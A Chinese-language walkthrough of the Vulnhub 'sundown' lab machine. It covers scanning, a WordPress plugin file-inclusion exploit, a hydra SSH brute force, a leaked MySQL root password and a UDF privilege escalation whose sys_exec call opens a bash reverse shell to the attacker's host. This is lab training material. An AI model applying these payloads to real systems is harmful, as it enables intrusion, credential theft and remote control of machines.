总结:该靶机是一个wordpress管理系统,需要信息收集得到插件信息,然后搜索插件漏洞,得到一个文件包含exp,利用其得到一个普通用户,利用hydra爆破密码然后ssh连接,信息收集得到一个数据库配置信息,普通命令无法查看,需要利用文件包含查看,最后利用账号密码登录mysql,然后利用UDF提权拿到root权限

一、靶机搭建

选择打开选项

选中下载的ova文件,然后导入选择一个存放路径即可

二、信息收集

官方信息

Name: sunset: sundown
Date release: 4 Aug 2020
难度:初级/中级

扫ip

靶机ip:192.168.108.155

扫开放端口和服务信息

开启了22和80端口

指纹探测

执行以下命令

nmap 192.168.108.155 -p 22,80 -sV -sC -O --version-all

拿到了一些服务信息

目录扫描

dirsearch扫描,可以得到很多目录,dirb扫描结果也是一样

收集一下可用信息:

http://192.168.108.155/robots.txt
http://192.168.108.155/wp-config.php
http://192.168.108.155/wp-admin
http://192.168.108.155/wp-content/uploads/
http://192.168.108.155/wp-includes/
http://192.168.108.155/wp-cron.php
http://192.168.108.155/wp-login.php

三、Web渗透

信息收集

打开网页,有一个搜索框,但是没有什么用,

看看网站指纹信息,发现WordPress 5.4.2

访问robots.txt,发现两个目录

看到这里想起来之前刷的DC-6靶机,也是这个框架,账户位admin

看看另一个目录,没有什么信息

访问之前扫描出来的文件上传,可能存在文件上传漏洞

访问includes文件有很多文件,但是都无法打开

看看cron文件

搜索历史漏洞

输入admin看看,账户正确,但是密码不对

框架插件漏洞利用

利用wpscan爆破,但是时间太久了,放弃

wpscan --url http://192.168.108.155 --usernames admin -P /usr/share/wordlists/rockyou.txt

看看插件信息,这里提醒一下,靶机遇到wordpress框架的,可以先查看框架的插件信息,多数存在漏洞

wpscan --url http://192.168.108.155 --enumerate p,t

拿到插件信息

搜索历史漏洞,下载下来

查看该文件得到以下信息,是文件包含漏洞

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec

漏洞代码

if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']); #这就很明显是文件包含了

利用代码访问,发现一个有bash权限的carlos用户

利用hydra爆破密码,密码就是用户名

hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://192.168.108.155

ssh连接,成功登录

四、提权

信息收集

先找找可用信息

没啥用的密文

进入/home目录看看

进入网站源码存放目录查看,因为这是一个框架程序,所以其源码一般在网站源码下,发现配置文件信息

利用命令查看,发现权限不足,看来行不通了

想到之前的文件包含漏洞,利用该路径访问试试

http://192.168.108.155//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/html/wordpress/wp-config.php

成功访问,但是代码太乱了,打开源码查看,发现数据库账号密码

账户:root 密码:VjFSQ2IyRnNUak5pZWpCTENnPT0K

mysql -u root -p

成功登录

查看数据库,但是没有什么可用信息,应该需要使用UDF提权,mysql特有的一种提权方式

UDF提权

先看看版本是64位还是32位,这决定你使用的udf文件带64还是不带64

是64位后再查看secure_file_priv是否为空,因为这决定了mysql会不会对导入导出做限制

show global variables like 'secure%';

没有回显

看看具体信息,可以提权

  • secure_file_priv 的值为 NULL ,表示不允许导入导出,无法提权

  • secure_file_priv 的值为 /tmp/ ,表示导入导出只能在 /tmp/ 目录下,无法提权

  • secure_file_priv 的值为空,表示不对导入导出做限制,此时可提权

​ 若mysql版本>=5.1时,上传udf位置需要在mysql\lib\plugin里,通过show variables like "%plugin%"来查看(若没有则新建一个),小于的话则不需要,可以看到是大于5.1

查看路径

show variables like '%plugin%';
路径:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

​ 得知以上的利用信息都允许情况下,就开始提权操作了,kali到/usr/share/metasploit-framework/data/exploits/mysql这个目录中复制64位的udf文件到本地(若是windows则用.dll文件,linux就用.so文件,根据是32位还是64位来选取不同文件)

开启web服务传输文件

成功上传

返回靶机,进入/tmp目录下

然后回到数据库执行下面的命令,看看mysql数据库下的数据表信息

执行下面的命令

create table shell(line blob);    # 需要为blob,因为是二进制对象存储容器,存储下面load_file的返回值
insert into shell values(load_file('/tmp/lib_mysqludf_sys_64.so')); # 插入并存储load_file的返回值

写入文件并创建函数,以此来反弹shell(这里的bash一定要加-c参数,否则只有bash -i会报错)

select * from shell into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so';    # 将/tmp/udf文件写入到plugin里
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; # 创建函数于udf文件中加载
select sys_exec('bash -c "bash -i >& /dev/tcp/192.168.108.130/4444 0>&1"'); # 调用函数执行反弹shell

开启监听端口并执行,成功反弹shell

flag

sundown用户目录下发现flag

值:510252fabb4b7e7dddd7373b7b3da3e8

Vulnhub-sundown的更多相关文章

  1. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  2. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  3. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  4. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  5. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  6. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

  7. DC8: Vulnhub Walkthrough

    镜像下载链接: https://www.vulnhub.com/entry/dc-8,367/#download 主机扫描: http://10.10.202.131/?nid=2%27 http:/ ...

  8. HA: Infinity Stones Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-infinity-stones,366/ 主机扫描: 目录枚举 我们按照密码规则生成字典:gam,%%@@2012 cru ...

  9. Sunset: Nightfall Vulnhub Walkthrough

    靶机链接: https://www.vulnhub.com/entry/sunset-nightfall,355/ 主机扫描: ╰─ nmap -p- -A 10.10.202.162Starting ...

  10. Dc:7 Vulnhub Walkthrough

    靶机下载地址: https://www.vulnhub.com/entry/dc-7,356/ 主机扫描: http://10.10.202.161/ Google搜索下: SSH 登录 以上分析得出 ...

随机推荐

  1. Qt视频监控系统一个诡异问题的解决思路(做梦都想不到)

    一.前言 由于Qt版本众多,几百个版本之间存在不兼容的情况,为此如果要兼容很多版本,没有取巧的办法和特殊的捷径,必须自己亲自安装各个版本编译运行并测试,大问题一般不会有,除非缺少模块,小问题还是不断有 ...

  2. Qt编写地图综合应用40-覆盖物弧线

    一.前言 弧线可以用来指示某几个点直接弧形的方式绘制线条,尤其是飞机轨迹,起点到终点弧形曲线展示,更美观.百度地图的折线图.矩形图.圆形图等,都统称覆盖物,都是作为覆盖物绘制上去的,这样的好处是速度很 ...

  3. 如何在众多Ubuntu版本中挑选出最适配自身需求的系统版本?用德承工控机GM-1100来深度剖析其中的门道

    Ubuntu是一款基于Debian GNU/Linux,支持x86.amd64(x64)和ppc架构,以桌面应用为主的Linux操作系统.其名称来自非洲南部的语言"ubuntu"( ...

  4. error LNK2038: 检测到“_MSC_VER”的不匹配项问题

    _MSC_VER这个相当于做了宏的检测 _MSC_VER 定义编译器的版本. 一些编译器版本的_MSC_VER值:MS VC++ 14.0 _MSC_VER = 1900 vs2015MS VC++ ...

  5. g2o编译出现的问题及解决办法 By not providing "FindG2O.cmake" in CMAKE_MODULE_PATH this project has

    在安装完该g2o之后 运行一些程序 如高翔的ch6 代码会出现如下错误: CMake Warning at CMakeLists.txt:10 (FIND_PACKAGE): By not provi ...

  6. Solution -「CF 808E」Selling Souvenirs

    \(\mathscr{Description}\)   Link.   01 背包.   物品种类 \(n\le10^5\),背包容量 \(m\le3\times10^5\),单个物品体积 \(w\i ...

  7. CDS标准视图:功能位置种类描述 I_FlocCategoryText

    视图名称:功能位置种类描述 I_FlocCategoryText 视图类型:基础 视图代码: 点击查看代码 @EndUserText.label: 'Functional Location - Tex ...

  8. [转载]「服务」WCF中NetNamedPipeBinding的应用实例

    「服务」WCF中NetNamedPipeBinding的应用实例 WCF中有很多种绑定,根据官方的说法,NetNamedPipeBinding是适用于同一台主机中不同进程之间的通信的. 今天终于实现了 ...

  9. 2020年最新消息中间件MQ与RabbitMQ面试题-copy

    为什么使用MQ?MQ的优点 简答 异步处理 - 相比于传统的串行.并行方式,提高了系统吞吐量. 应用解耦 - 系统间通过消息通信,不用关心其他系统的处理. 流量削锋 - 可以通过消息队列长度控制请求量 ...

  10. ElasticSearch架构及详解

    1. 图解es内部机制 1.1. 图解es分布式基础 1.1.1es对复杂分布式机制的透明隐藏特性 分布式机制:分布式数据存储及共享. 分片机制:数据存储到哪个分片,副本数据写入. 集群发现机制:cl ...